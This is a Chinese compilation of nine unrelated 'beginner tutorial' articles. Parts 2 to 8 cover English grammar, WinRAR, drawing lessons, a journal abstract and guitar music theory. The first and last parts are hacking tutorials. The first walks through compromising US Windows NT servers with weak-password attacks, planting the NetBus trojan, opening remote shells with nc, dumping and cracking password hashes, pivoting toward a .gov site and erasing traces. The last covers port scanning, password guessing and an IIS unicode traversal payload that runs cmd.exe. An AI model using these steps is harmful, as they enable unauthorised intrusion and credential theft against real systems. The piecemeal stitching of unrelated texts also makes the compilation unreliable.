入门初级教程之一（精选9篇）由网友“ANONYM”投稿提供，下面是小编给大家带来入门初级教程之一，一起来阅读吧，希望对您有所帮助。
篇1： 入门初级教程之一
注意：运行以下程序，在WinNT 4.0上方可成功操作
一般用户均为拨号上网，速度较慢，绝对不适合大数据量攻击，比如密码强攻等，而且很容易很容易暴露自己，留下攻击痕迹，给自己带来极大的危险，所以，建立自己的中间堡垒是迈向成功的第一步，
入门初级教程之一
。所谓中间堡垒，实际上就是连接在高速网络上的远程计算机，我们在本地通过Telnet，控制远程计算机上运行的攻击程序，这样，没有直接对目标进行攻击，敌人很难发现，而且远程计算机有很宽的带宽，速度较快，减少攻击时间。比如在霉国，绝大多数计算机都是通过千兆网连接到Internet，其速度不比我们在局域网慢。
那么，怎么建立自己的中间堡垒呢？在霉国，上网计算机数量巨大，几乎有40%以上的计算机是相当容易攻破的，所以，我们只要想办法功入一台位于霉国的计算机，并成功的在其上安装木马程序及攻击工具程序，接下来就好好办多了。请看下面的我们的经历：
利用Pinger程序，查找霉国的一段IP地址，如果没有任何机器，再换一段，直到找到目标，如下：
可以发现，Ping程序在一连续的IP地址上，找到目标计算机的一些相关信息，比如：209.102.20.193 - SERVER，其中209.102.20.193为计算机的IP地址，SERVER为机器名，接下来，我们进入DOS，运行killusa编制的letmein.exe，如下:
letmein.exe 的参数为：
letmein.exe file://server/ -group -op pwd
其中-group 为：( -all -admin -users -domainadmin -domainusers -guests -domainguests)
-op 为：（-g: 攻击，-d 只显示用户)
pwd为：mypwd
例如：letmein file://111.111.111.111/ -all -g mypwd (对\\111.111.111.111上所有用户攻击)
例如：letmein file://111.111.111.111/ -admin -g mypwd (对\\111.111.111.111上管理员攻击)
例如：letmein file://111.111.111.111/ -all -d mypwd (显示\\111.111.111.111上所有用户)
接下来，letmein程序开始取得SERVER的相关用户，并简单尝试其口令，非常幸运，SERVER操作系统为NT，killusa很快取得SERVER上管理员为Pearson的口令为Pearson，结果如下：
当然，您的运气也许没有这么好，没关系，反复试几次，终归会有一个笨蛋失误，我们以多年的经验保证您可以在霉国找到这么一台计算机！
接下来，继续在DOS状态下运行：
其实，这时，您已以管理员的身份登录到该机器上了，接下来，赶快将工具程序拷贝到该计算机上，如下：
程序已经复制到远程计算机上，那么如何启动木马程序ntsrv.exe呢，请看：
这样，在远程计算机时间13:30分(时间在letmein已显示，估计后延一点)，SERVER上的SCHEDULE服务程序将启动ntsrv.exe，并监听端口：64321，当然，端口号可以根据自己的习惯，建议在200-65360之间选折，
OK，您已成功占领该计算机，启动Netbus客户端程序：netbus.exe，在host name/IP中填入：209.102.20.193，在Port中填入：64321，选折“Connect!”按钮，如下：
具体NetBus的用法，可以查看其Help文件，接下来，选折“Get Info”，如下：
可以判断其WIN NT安装在c:\winnt目录下，接下来，选折“App Redirect”，如下：
当然，端口可以自己选折，但建议尽量大点，如：6111159999等，这样，你就可以通过Telenet.exe或nc.exe来控制远程计算机SERVER运行你的攻击程序，如下：
利用nc.exe的界面：
Telnet用法如下：telnet 209.102.20.193 54321
而且必须将终端->首选选项->本地响应 选上，利用Telnet.exe 的界面：
这样，你已在远程计算机上运行DOS窗口，并将你的运行程序结果返回到你的本地机器，因为程序是运行在远程计算机上，速度只要你ping以下霉国的站点，你就会发现不一样。
接下来，必须取得该站点的密码，已扩大战果，在telnet或nc中，运行pwddump.exe，如下：
然后，利用Netbus将server.lc下载到本地，利用L0phtCrack 2.5解出其他密码，如下：
得到了密码，接下来的事我就不用再说了，但千万注意保护好这个堡垒，不要在上面留下不该留下的垃圾，也千万不要删除上面的任何文件，攻击完后，一定要将相关现场恢复，如删除server.lc，pwddump.exe等文件。
这里只介绍攻击NT服务器的基本方法，攻击一个站点时，往往主站点很难进入，也不会有这种管理员的密码一猜就中，但不要泄气，用Pinger扫描其相差一个或几个C端地址，攻击其防范不严的相关机器，一步一步得到管理员的密码，如目标为：www.somesite.gov，其IP为：111.111.111.111，扫描出其所在C类地址所有IP，攻击其相关服务器或其工作人员站点机，比如www.somesite.gov管理员其中有:usasb，利用letmein无法得到管理员密码，但其有一台机器为：usasbclient，其中管理员有：administrator、test、usasb，利用letmein得到test的密码为空，采用上面的方法，得到usasb的密码，利用LC解出usasb的密码明码，ok，再用usasb进入www.somesite.gov，将其所有密码下载后，接下来killusa要睡觉去了!!! -) ....
要成为一名优秀的Hacker，必须有敏锐的洞察力和应变能力，必须对各种操作系统相当了解，并且有很好的编程水平，鉴于当前形势严峻，不做一名优秀的Hacker，入个门，也能取得好成绩
篇2：英语语法新思维初级教程走近语法
它不同于传统语法书那样本末倒置地给出较多生僻的“例外”，它真的让你高效掌握英语思维的本质;它不同于传统语法书采用枯燥的例句来讲解规则，读起来味同嚼蜡，它真的要让你在欣赏有趣例句、幽默故事以及精美短文的同时，领悟英语思维;它不同于传统语法书只给你孤立的、脱离语境的单一句子，它真的要让你知道例句背后的使用语境;它不同于传统语法书只教你语法知识，它真的要教你如何运用语法知识，从而把语法知识转化为你的语言技能，真正培养你创造性使用英语的能力。
篇3：英语语法新思维初级教程走近语法
绪论名词短语
0.1引言
0.2名词短语
0.2.1名词短语的功能
0.2.2名词短语的构造——“左二右六”的定语规律
0.3英语句子五成分论
0.4本篇内容的逻辑安排
第一章名词
1.1名词的定义与分类
1.1.1名词的定义
1.1.2名词的分类
1.2名词的数(一)：可数与不可数
1.2.1常用作不可数的名词
1.2.2可数与不可数的“相对论”
1.2.3不能按汉语的思维理解英文名词的可数与不可数
1.2.4不可数名词的度量
1.3名词的数(二)：单数与复数
1.3.1英语名词的单数与复数的概念
1.3.2只用作单数的名词
1.3.3只用作复数的名词
1.3.4规则的复数名词
1.3.5不规则的复数名词
1.3.6复合名词变复数
1.3.7单复数同形的名词(零复数名词)
1.3.8有新词义的复数名词
1.4名词的格(一)：’s所有格的构成及逻辑语义关系
1.4.1’s所有格的构成
1.4.2’s所有格的逻辑语义关系
1.4.3名词所有格修饰的名词被省去
1.5名词的格(二)：of属格的构成及逻辑语义关系
1.5.1of属格的构成
1.5.2of属格的逻辑语义关系
第二章限定词(一)：冠词
2.1引言：Story-telling
2.2冠词的位置与读音
2.3冠词的用法概述
2.4英语中四种泛指的表达模式
2.4.1不可数名词不加冠词表示泛指
2.4.2复数名词不加冠词表示泛指
2.4.3单数名词与定冠词the连用可以表示泛指
2.4.4单数名词与不定冠词a/an连用可以表示泛指
2.5定冠词the的特指用法
2.5.1情景/文化特指(situational/culturalreference)
2.5.2上下文共指(textualco-reference)
2.6不定冠词a/an的用法
2.6.1不定冠词的泛指与非泛指用法
2.6.2不定冠词a/an与不可数名词
2.6.3不定冠词a/an与数词one
2.6.4不定冠词a/an与this
2.7用/不用冠词的意义区别(thehospital/hospital)
2.8其他使用冠词的场合
2.9其他不用冠词的场合
第三章限定词(二)：数量限定词与个体限定词
3.1数量限定词(一)：afew,few/alittle,little
3.2数量限定词(二)：some/any
3.3个体限定词(一)：each/every
3.4个体限定词(二)：another/other
3.5个体限定词(三)：either/neither
3.6限定词总结(一)：限定词中的“二”与“三”
3.7限定词总结(二)：限定词与可数/不可数名词
3.8限定词总结(三)：限定词与of短语
3.9限定词总结(四)：限定词之间的位置关系
3.10限定词与形容词的区别
第四章形容词
4.1形容词在名词短语中的位置
4.1.1前置修饰名词
4.1.2后置修饰名词
4.2形容词的比较级和最高级的构成形式
4.2.1单音节词
4.2.2双音节词
4.2.3多音节词
4.2.4不具有等级的形容词
4.3形容词的比较级和最高级的用法
4.3.1形容词比较级的用法
4.3.2形容词最高级的用法
4.4Interestingorinterested?
4.4.1-ing形容词与-ed形容词的特点
4.4.2-ing形容词可以修饰“人”
4.4.3-ed形容词可以修饰“物”
第五章动词分类(一)：实义动词与(情态)助动词
5.1实义动词(notionalverb)
5.2助动词(auxiliaryverb)
5.2.1助动词be,do和have
5.2.2用作实义动词的be,do和have
5.3情态助动词(modalverb)
5.4陈述句的否定
5.4.1谓语中含有be动词或情态动词的否定
5.4.2谓语动词是实义动词的否定
5.4.3否定的缩写
5.5一般疑问句
5.5.1谓语动词中含有be动词或情态动词的提问
5.5.2谓语动词是实义动词的提问5.6特殊疑问句
5.6.1不与名词连用的疑问词
5.6.2要与名词连用的疑问词
5.6.3how的用法详解
第六章动词分类(二)：英语的五种基本句型
6.1引言：“人咬狗”是条新闻
6.2五种基本句型概述
6.2.1主语+谓语
6.2.2五种基本句型概述
6.3句型一：主语+系动词+表语
6.4句型二：主语+谓语
6.5句型三：主语+谓语+宾语
6.6句型四：主语+谓语+间接宾语+直接宾语
6.7句型五：主语+谓语+宾语+宾语补足语
第七章英文时态(一)：一般时态
7.1引言：一个时态错误就是一个政策问题
7.2英文时态体系概述
7.2.1英语时态的构成：四时四态
7.2.2时态学习技巧
7.3一般现在时态——并非表示现在
7.3.1用法一：表示普遍的事实或真理(expressingageneraltruth)
7.3.2用法二：表示重复活动(expressingaregularlyoccurringevent)
7.3.3用法比较：表示重复活动的一般现在时态和现在完成进行时态
7.3.4用法三：一般现在时表示正在发生的动作
7.3.5用法四：一般现在时表示将来发生的动作
7.3.6用法五：一般现在时表示过去发生的动作
7.3.7用法六：一般现在时代指现在完成时
7.4被遗忘了的一般过去时态
7.4.1引言
7.4.2基本用法一：过去发生的短暂动作或状态
7.4.3基本用法二：过去发生的重复或延续活动
7.4.4用法比较：一般过去时和现在完成时用于“for+时间段”的区别
7.4.5口语用法一：“我不知道”——“Idon’tknow”or“Ididn’tknow”?
7.4.6口语用法二：“我忘记了”——“Iforget”or“Iforgot”?
7.4.7口语用法三：“我以为”——“Ithink”or“Ithought”?
7.4.8口语用法四：根据上下文的语境灵活地使用一般过去时
7.4.9口语用法五：礼貌表达
7.5一般将来时态——预测、计划和意愿
7.5.1引言
7.5.2will表示将来——预测
7.5.3begoingto表示将来——预测
7.5.4begoingto表示“计划”与will表示“意愿”
7.5.5现在进行时表示将来
7.5.6一般现在时表示将来
7.5.7其他表示将来的句型结构
第八章谓语时态(二)：进行时态
8.1引言
8.1.1进行时态的构成
8.1.2进行时态的意义
8.1.3进行时态的使用语境
8.2现在进行时——不一定正在进行
8.2.1用法一：说话时刻正在进行的动作(actionhappeningexactlynow)
8.2.2用法二：在目前一段时期内持续的一种暂时的情况(actionhappeningaroundnow)
8.2.3用法三：用于表示“改变”的动词，强调“逐渐变化”的过程
8.2.4用法四：用于强烈的感情色彩的表达
8.2.5用法五：表示将来确定的安排
8.2.6用法六：与always等连用，表示多次重复，且含有感情色彩
8.3过去进行时——回顾过去讲故事
8.3.1常见用法：用来设置故事的背景
8.3.2少见用法：两个过去同时在持续的动作
8.3.3典型用法：描述一个过去的特定时刻正在发生的事情
8.3.4口语用法：表示委婉的请求或提建议
8.4将来进行时——想象未来
8.4.1典型用法：将来某一特定时刻正在持续的事
8.4.2口语用法：将来计划好的事
8.4.3少见用法：表示背景动作——提供另外一个短动作发生的事件背景
8.4.4难点用法1：用在疑问句中，表示客气的询问
8.4.5难点用法2：用来表示客观的将来，以避免与表示“意愿”的willdo混淆
8.5难点：深入分析进行时的思维特征
8.5.1进行时态的核心含义(grammaticalaspect)
8.5.2进行时态与动词体(lexicalaspect)
附录：答案解析
篇4：入门
入门
入门rù mén[释义]①（动）（～儿）得到门径；初步学会。工作刚～。（作谓语）
②（动）指初级读物（多用做书名）。
[构成] 动宾式：入｜门篇5：手把手教你玩压缩：WinRAR初级教程
提到文件压缩，我们自然会想到WinRAR，该软件提供了对最流行的RAR和ZIP文件的完整支持，还能解压ACE、ARJ等格式的文件，安装WinRAR非常简单，执行安装文件，一路“确认”就可以了。
软件资料
软件名称：WinRAR
软件版本：V3.41
软件大小：1159KB
软件性质：免费软件
支持平台：Win9X/WinNT/Win/WinXP
下载地址：新浪下载中心
给文件“打包”DD压缩
使用WinRAR进行压缩和解压缩操作，一般习惯用关联右键快捷菜单来完成。比如要对某个非压缩文件夹比如imgaes文件夹进行压缩。
右键点击该文件夹弹出一个菜单，在上面可以看到“添加到压缩文件、添加到images.rar、压缩并E-mail、压缩到images.rar并E-mail”四个命令（图1）。图1
选择“添加到压缩文件”可以打开对话框（图2），这里可以重新输入压缩文件名，比如改成图片.rar；在“压缩方式”选项，默认为“标准”，要提高压缩速度选择“最快”，要提高压缩质量选择“最好”。图2
小技巧：如果要将文件添加到已经创建的压缩包中，可以直接将文件拖到已经创建的压缩包文件的图标上即可自动添加。
给压缩包拆封DD解压缩
解压缩就是将压缩后的文件恢复到原来的样子，具体的操作方法也很简单：比如在“资源管理器”中，只要右键单击文件（比如上面提到的images.rar），那么会弹出一个包括有“打开、解压文件、解压到当前文件夹以及解压到images”四个命令的快捷菜单（图3），
图3
小技巧：默认情况下，要查看自解压文件的内容都是通过解压之后查看的，其实只要用WinRAR打开自解压文件，在主窗口双击文件就可以查看到内容。
选择“解压到当前文件夹”表示直接将压缩包中的文件解压到当前文件夹，不建议大家选择该操作，因为如果压缩包的内容过多，往往会给当前的文件夹管理带来不便。
选择“解压到images”表示直接解压到当前文件夹中的“images”文件夹下，并会自动创建该文件夹。
制作多分卷自动解压文件
有时候在进行大文件传送时，通常采取用压缩软件分卷压缩到软盘上的办法，而在复原时如果对方机器没有压缩软件则无法还原。
从WinRAR开始，分卷自解压文件功能被引入。使得分卷压缩文件的解压不再依赖压缩文件本身。
1.在主界面中选定欲压缩的文件夹或文件，单击鼠标右键，从快捷菜单中选“添加到文件”命令。在出现的窗口中将压缩文档名称填入，需要带路径(如A:\文件名)。然后从容量下拉菜单中选择与软盘对应的数值。有自动检测等六个备选项，也可以输入设定的数值（图4）。图4
2.在文档选项区内选中“自解压”方式，最后单击确定，开始进行分卷压缩，生成的第一个文件扩展名为.exe，第二个文档扩展名为.r00，第三个为.r01，依此类推。
3.在其他机器上面恢复文件时，先插入第一张软盘，执行.exe文件，随后会提示依次插入其他软盘，就会顺利地完成解压缩。
篇6：浅议绘画入门
浅议绘画入门
浅议绘画入门辽宁省盘锦市兴隆台区实验幼儿园 邵洪艳
“入门”这个简单明了的词一听一看便懂，但要真做起来就很难了。任何事从入门开始都有门外徘徊的过程。有人说“不知从何处下手”这就对了，因为您没有入门嘛！那么对初学绘画的人来说：难也不难，不难也难，这就取决于教师的指导方式方法了。
一、从面到体、透视、构图入门
初学者拿笔拿画夹不难，但怎样去在纸上表现具体物体或记忆中的物体就很难了。教师要根据不同的物体平面引导下手，再展现立体。例如，正方形，开始四条相等的边组合围起是形，而再加上五条线即成了正方体，这个过程叫物体的“透视”法。
透视对学生而言很陌生，教师要针对不同的物体解释本词的专业术语。首先讲明透视在绘画中的意义极其作用。并且阐明透视的规律，透视的种类。只有掌握它才能准确表现物体。平行透视、成角透视、圆透视，并示范给学生，要求学生掌握运用粗浅的透视作图方法，难点，通过反复练习去理解透视原理。
透视法也可以潜移默化为事物的观察法：形、体、光下的空间物象等等。
构图，简单的讲就是物体在画面上的安排，教师要有代表性地列举几种不同形式的构图方法，让学生分析他们的形态变化和展示方位，这样给学生空间认识过程和有效区别在透视构图中的重要作用。学生做完后教师要剖析不同位置的构图，用最佳方法引导，然后让学生讨论分析：一是会更有科学性；二是使学生通过对比观察能在很短的时间内指出相互差别，再在原位不动去画第二张作品，无疑事半功倍。
二、掌握结构和比例入门
教学中怎样去分析物体的结构。有经验的教师往往都采取从物体平面入手。将一张六开纸给学生画，画准物体的透视关系后，再在四个角画上垂线，按透视规律连或画线。这样既能巩固透视知识又能进一步理解简单的形体结构，教师要侧重提示学生什么是比例关系及在绘画中的重要作用。让学生学会怎样去找比例，如何测量等知识及方式方法。教师设计大小不同的物体给学生练习。通过反复比较认真测量，把握好轮廓，指导学生找准所画物体关系和比例关系，并能教给准确修改和修改方法。
三、保持良好心态，轻松入门
在绘画教学中除认真严格要求学生外，要创造舒适活跃的课堂气氛，调整好学生的良好心态，平稳情绪入画。使学生能在严肃的纪律中谨慎地运用绘画知识及其技能完成作业，心甘情愿地接受指教，完成教学任务。
教师一定要认真当面批改学生作业，指出优缺点，评价学习态度。教师评定时先肯定优点，让学生兴趣高昂，然后用不同并不敏感的'语言指出不足之处，让学生高兴地接受，提示学生整体布局不统一或者透视关系没处理好等重点，学生会立刻将画面与物体对照、分析、修改，再观察再修改，直至满意为止。这样轻松愉快，严格认真的课堂教学，使学生不但有信心，有收获，有欲望，更有师生的新感情，何乐而不为呢？
四、多角度、多元化表现入门
绘画是时空艺术的表现体，画面物体空间有很大的伸缩性，可高可低，可左可右，可静可动，可远可近，可浓可淡，可大可小等等。与其说方位不妥，不如称角度不对。角度靠透视，方位靠布局，二者相辅相成，缺一不可，同一组静物从不同角度去表现，就提出不同程度上的难点，针对这种情况，要指导学生如何去构图，在光照下如何对个别物体进行适当的调整和移位，以达到构图和画面的完美性，提高表现手法之技巧。亦可调整，座位补救，教学中教师要灵活调整学生位置变化去画同一种物体，体会不同方位下的绘画方法和构图方法，力求达到预期的教学目的和知识的有效传授乃至利用。
针对绘画入门也要分年龄、基础，不同对待。通过入门的教学去让每一个学生加速提高绘画基础，掌握绘画原理，运用绘画技能技巧，由看物体达到观察物体，定向，展示物体，美化物体，为酿造绘画难、入门难的课堂教学提供有效的学习条件。绘画入门这只是其中的有效途径之一，其余的还有待教学实验中进一步探索和研究。
篇7：浅析《英语听力入门》
浅析《英语听力入门》
本文在借鉴西方学者教材评估原则的基础上,探讨了在中国英语语言环境下大学英语教材的评估应坚持的原则,并通过调研,对目前众多大学选用的<英语听力入门2000>进行了实证分析.
作 者：李端阳 李元 作者单位：李端阳(广西师范大学,外国语学院;桂林航天工业高等专科学校,广西,桂林,541000)李元(桂林航天工业高等专科学校,广西,桂林,541000)
刊 名：考试周刊 英文刊名：KAOSHI ZHOUKAN 年，卷(期)： “”(7) 分类号：H3 关键词：教材评估 中国语言环境 原则篇8：入门吉他怎么学
入门吉他怎么学
入门吉他知识?有哪些入门的知识?请看下面的新手入门基础乐理知识吧。
一、基础知识
作曲家创作乐曲，也象文学家写诗歌、小说一样，有一套表情达意的体系，那就是音乐语言。音乐语言包括很多要素：旋律、节奏、节拍、速度、力度、音区、音色、和声、复调、调式、调性等。一首音乐作品的思想内容和艺术美，要通过多种要素才能表现出来。
【旋律】又称曲调，它是按照一定的高低、长短和强弱关系而组成的音的线条。它是塑造音乐形象最主要的手段，是音乐的灵魂。
【节奏】各音在进行时的长短关系和强弱关系。由于不同高低的音同时也是不同长短和不同强弱的音，因此旋律中必须包括节奏这一要素。
【节拍】强拍和弱拍的均匀的交替。节拍有多种不同的组合方式，叫?quot;拍子''，正常的节奏是按照一定的拍子而进行的。
【速度】快慢的程度。为使音乐准确地表达出所要表现的思想感情，必须使作品按一定的速度演唱或演奏。
【力度】强弱的程度。音的强弱变化对音乐形象的塑造也起着很重要的作用。
【音区】音的高低范围。不同音区的音在表达思想感情时各有不同的功能和特点。
【音色】不同人声、不同乐器及不同组合的音响上的特色。通过音色的对比和变化，可以丰富和加强音乐的表现力。
【和声】两个以上的音按一定规律同时结合。和弦进行的强和弱、稳定与不稳定、协和与不协和，以及不稳定、不协和和弦对稳定、协和和弦的倾向性，构成了和声的功能体系。和声的功能作用，直接影响到力度的强弱、节奏的松紧和动力的大小。此外，和声的音响效果还有明暗的区别和疏密浓淡之分，从而使和声具有渲染色彩的作用。
【复调】两个或几个旋律的同时结合。不同旋律的同时结合叫做对比复调，同一旋律隔开一定肘间的先后模仿称为模仿复调。运用复调手法，可以丰富音乐形象，加强音乐发展的气势和声部的独立性，造成前呼后应、此起彼落的效果。
【调式】从音乐作品的旋律与和声中所用的高低不同的音归纳出来的音列。这些音互相联系并保持着一定的倾向性。而调性则是调式的中心音(主音)的音高。在许多音乐作品中，调式和调性的转换和对比，是体现气氛、色彩、情绪和形象变化的重要手法。
音乐语言的各种要素互相配合，具有千变万化的表现力。旋律尽管是音乐的灵魂，但其它要素起了变化，音乐形象就会有不同程度的改变。在一定条件下，其它要素甚至可起重要作用。
二、音及音高
音是由于物体的振动而产生的。在自然界中能为我们人的听觉所感受的音是非常多的，但并不是所有的音都可以作为音乐的材料。在音乐中所使用的音，是人们在长期的生产斗争和阶级斗争中为了表现自己的生活和思想感情而特意挑选出来的。这些音被组成为一个固定的体系，用来表现音乐思想和塑造音乐形象。
音有高低、强弱、长短、音色等四种性质。 音的高低是由于物体在一定时间内折振动次数(频率)而决定的。振动次数多，音则高;振动次数少，音则低。
音的长短是由于音的延续时间的不同而决定的。音的延续时间长，音则长;音的延续时间短，音则短。
音的强弱是由于振幅(音的振动范围的幅度)的大小而决定的。振幅大，音则强;振幅小，音则弱。 音色则由于发音体的性质、形状及其泛音的多少等不同。
音的以上四种性质，在音乐表现中都是非常重要的，但音的高低和长短则具有更为重大的意义。试以《社会主义好》这首歌为例，不管你用人声来演唱或用乐器来演奏，用小声唱或是大声唱，虽然音的强弱及音色都有了变化，仍然很容易辨认出这支旋律。但是，假如将这首歌的音高或音值加以改变的话，则音乐形象就会立即受到严重的破坏。因此，不管创作也好，演奏演唱也好，对音高和音值应加以特别的注意。
由于音的振动状态的规则与不规则，音被分为乐音与噪音两类。音乐中所使用的主要是乐音，但噪音也是音乐表现中不可缺少的组成部分。
在我国民族音乐里，噪音的使用具有相当丰富的表现能力。如在戏曲音乐中，打击乐器在其他艺术表现手段的配合下，在塑造人物形象，表现各种思想情感方面，其作用是异常明显的，这是世界音乐文化中非常具有特色的一部分，是值得我们很好地研究和学习的。
我们平时所听到的某一个音，都不只是一个音在响，而是许多个音的结合，这种声音叫做复合音。复合音的产生是由于发音体(以弦为例)不仅全段在振动，它的各部分(二分之一、三分之一、四分之一……等)也分别的同时在振动。由发音体全段振动而产生的音叫做基音，也就是最易听见的声音，由发音体各部分振动而产生的音叫做泛音。这些音是我们听觉所不易听出来的。
三、乐音体系
在音乐中使用的、有固定音高的音的总和，叫做乐音体系。 乐音体系中的音，按照上行或下行次序排列起来，叫做音列。
在钢琴上可以明显地看出乐音体系中所使用的音和音列。现在最大的钢琴包括有八十八个音高不同的音。除此之外的音在音乐中差不多是不用的。
乐音体系中的各音叫做音级。音级有基本音级和变化音级两种。 乐音体系中，七个具有独立名称的音级叫做基本音级。钢琴上白键所发出的音是与基本音级相符合的。
基本音级的名称是用字母和唱名两种方式来标记的。 钢琴上五十二个白键循环重复地使用七个基本音级名称。 两个相邻的具有同样名称的音叫做八度。
升高或降低基本音级而得来的音，叫做变化音级。将基本音级升高半音用“升”或“#”来标明;降低半音用“降”或“b”来标明;升高全音用“重升”或“×”来标明;降低全音用“重降”或“bb”来标明。
在德国体系中，用加字尾的办法来标明变化音级：is(升)，es(降)，isis(重升)，eses(重降)。
但降E不用Ees而用es;降A不用Aes而用as;降h不用hes而用b。
四、音的分组
前面已经讲过，钢琴上五十二个白键循环重复地使用七个基本音级名称，因此，在音列中便产生了许多同名的音，为了区分音名相同而音高不同的各音，我们将音列分成许多个“组”。
在音列中央的的一组叫做小字一组，它的音级标记用小写字母并在右上方加数字1来表示，如c1d1e1等。
比小字一组高的组顺次定名为：小字二组、小字三组、小字四组、小字五组。 小字二组的标记用小写字母并在右上方加数字2来表示，如c2d2e2等。其他各组依次类推。
比小字一组低的组，依次定名为小组、大字组、大字一组及大字二组。 小字组各音的标记用不带数字的小写字母来表示，如cde等。
大字组用不带数字的大写字母来标记，如CDE等。 大字一组用大写字母并在右下方加数字1来标明，如C1D1E1等。
大字二组用大写字母并在右下方加数字2来标明，如A2B2等。
音域有总的音域和个别的人声或乐器的音域两种。
总的音域是指音列的总范围，即从它的最低音到最高音(C2-c5)间的距离而言。
个别的人声或乐器的音域是指在整个音域中所能达到的那一部分，如钢琴的音域是A2-c5。音区是音域中的一部分，有高音区、中音区、低音区三种。在整个音域中，小字组、小字一组和小字二组属于中音区。小字三组、小字四组和五组属高音区，大字组、大字一组和大字二组属低音区。各种人声和各种乐器的音区划分，往往是不相符合的。如男低音的高音区是女低音的低音区等。各音区的特性音色在音乐表现中，有着重大的作用。高音区一般具有清脆、嘹亮、尖锐的特性;而低音区则往往给人以浑厚、笨重之感。
四、谱号、五线谱、音律
谱号
前面已经讲过，在五线谱上音的位置愈高，音也愈高，反之音的位置愈低，音也愈低，但到底高多少?低多少?却无法确定。在五线谱上要确定音的高低，必须用谱号来标明。这种谱号记在五线谱的某一条线上，便使这条线具有了固定的音级名称和高度，同时也确定了其他各线上或间内的音级名称和高度。
通常用的谱号有三种：
G谱号 表示小字一组的g，记在五线谱的第二线上，叫高音谱号;另外有记在第一线上的，叫古法国式高音谱号。
F谱号表示小字组的f，记在五线谱的第四线上，叫低音谱号;另外还有记在第五线上的，叫倍低音谱号。
C谱号 表示小字一组的c，可记在五线谱的任何一线上。
目前被采用的C谱号有C三线谱号(中音谱号)为中音提琴所用，有时也长号所用。C四线谱号(次中音谱号)为大提琴、大管和长号所用。其他C谱号一般较少应用。
使用许多谱号的目的是为了避免过多的加线，以使写谱和读谱更加方便。 各种谱号可以单独使用，也可以连接起来使用，如高、低音谱号所组成的大谱表便是。
五线谱
用来记载音符的五条平行横线叫做五线谱。
五线谱的五条线和由五条线所形成的间，都自下而上计算的。假使音乐作品是写在数行五线谱上，那么，这数行五线谱还要用连谱号连结起来。
连谱号包括起线(连结数行五线谱的垂直线)和括线(连结数行五线谱的括弧)两个组成部分。
括线分花的和直的两种。花括线为钢琴、风琴、手风琴、竖琴、扬琴、琵琶等乐器记谱使用。
直括线为合奏、合唱、乐队记谱用。在总谱中用直括线来连接同为乐器，把它们分成完全的或不完全的乐器组。有时在直括线之外还加上辅助括线(花的或直的)来连接同种乐器。
在总谱中，独唱独奏声部如果只包括一两行五线谱的话，左边只画一条起线，而不加括线。为了标记过高或过低的音，在五线谱的上面或下面还要加上许多短线，这些短线叫做加线，在五线谱上面的叫上加线，下面的叫下加线。
由于加线而产生的间，叫做加间，在五线谱上面的加间叫上加间，下面的叫下加间。加线和加间的计算方法是：上加线和上加间，由下向上计算，下加线和下加间由上向下计算。
音律
乐音体系中各音的绝对准确高度及其相互关系叫做音律。音律是在长期的音乐实践发展中形成的，并成为确定调式音高的基础。
在历史发展过程中，曾采用过各种各样的方法来确 定乐音体系中各音的高度，其中主要的、为大家所熟知的.有“纯律”、“五度相生律”和“十二平均律”三种。
目前被世界各国所广泛采用的是“十二平均律”。但“纯律”和“五 度相生律”在音乐生活中仍继续发生着影响并具有重大的意义。
五、十二平均律、五度相生律、纯律
十二平均律
将八度分成十二个均等的部分-半音-的音律叫做十二平均律。
十二平均律早在古代希腊时便有人提出了，但并未加以科学的计算。世界上最早根据数学来制订十二平均律的是我国明朝大音乐家朱载(土育)(1854年)。
半音是十二平均律组织中最小的音高距离。两音间的距离等于两个半音的叫做全音。八度内包括有十二个半音，也就是六个全音。
在音列的基本音级中间，除了E到F、B到C是半音外，其余相邻两音间的距离都是全音。
在钢琴上，相邻的两个琴键(包括黑键)都构成半音，隔开一个琴键的两个音则都构成全音。
五度相生律
根据复合音的第二分音和第三分音的纯五度关系，即由某一音开始向上推一纯五度，产生次一律，再由次一律向上推一纯五度，产生再次一律，如此继续相生年定出的音律叫做五度，产生再次一律，如此继续相生所定出的音律叫做五度相生律。
例如五度相生律所订出的七个基本音级间的音高关系，和十二平均律中七个基本音级的音高关系是不同的。
虽然EF、BC之间亦为半音，但比十二平均律中的半音要小。其余相邻两音级之间虽然亦为全音，但比十二平均律中的全音要大。这种音高的差异就是由于定律方法的不同而产生的。
篇9： 快速入门
今天的内容是获得主机的信息，
快速入门
。 我们要黑一台主机，首先要了解它的信息，
包括它的类型，用户列表，目录，端口，漏洞等等。
首先我们我们要找一台主机来练手，随便挑吧！www.flyingfish.com(乱说的)第一部，呵呵，
先在ie里看看吧，mmmm.....做的还行，挺精致的！主要是我们肯定了它现在是正常的。 然后，
我们应该知道它的ip,很简单，ping它一下就可以了。ping www.flyingfish.com，看看窗口里有
了什么？是不是有三行回应，其中的111.111.222.222就是ip了（还是胡说的，一个例子）。有人
是不是要问，我这里怎么没有。那可能是两个原因，第一，你打错命令了；第二，该主机装了防火墙，
禁止ping,不过这种可能很小。知道了ip，下一步应该确定端口了。下面是一些常用的端口的默认值
21--ftp 重要哦
23--telnet 欢呼吧
25-smtp 尽管重要，但似乎没什么可利用的 53--domain 同上
79--finger 可知道用户信息了
80--http 要看网页，没它不行吧
110--pop 收信的
139--netbios 共享用的，很有利用价值哦
3389--win2000超级终端 呵呵，这个好！
其实端口有上千种，这些最最常用
我们怎么知道服务器有什么端口打开呢？？去找个扫描器吧，x-scan ,super scan,flux等等
很多哦。这里我推荐super scan ，速度很快，本站也有其教程哦！用法还是比较傻瓜的，估
计大家不会有问题，轻轻几点，打开的端口就出现了。不错不错，上面说到的都有（太理想化了吧!）
那么我们该如何应对呢？ps:忘了说一声，顺便扫一下7626,冰河有也说不准哦：）
若有ftp,那就用用匿名登陆。自己动手也行，最好用x-scan flux等吧！反正，有ftp就有一份希望
telnet在！好!telnet 111.111.222.222，出现窗口了吧！嗯？要密码？看来网管还不是超级白痴：）
随便猜个，错了，闪人！
二，一切从基础开始
由于winntsystem32cmd.exe的存在，使远程执行命令变为可能，在浏览器里输入以
下请求：(假设11.11.22.22有漏洞）
11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
学过dos的应该可以看懂，其实就是利用当中的非法请求使我们可以连到system32下，
如果inetpub目录不合winnt同盘，或者目录级数有改动，可能会引起请求失败。
如果成功，那么在浏览区可看到如下信息：
Directory of C:inetpubscripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 .. （假设目录中没有文件，实际上有一大堆）
是不是有自己机器的感觉了，正点！就是这种感觉！
cmd.exe相当与dos里的command.com，因此，我们可以执行很多命令了！
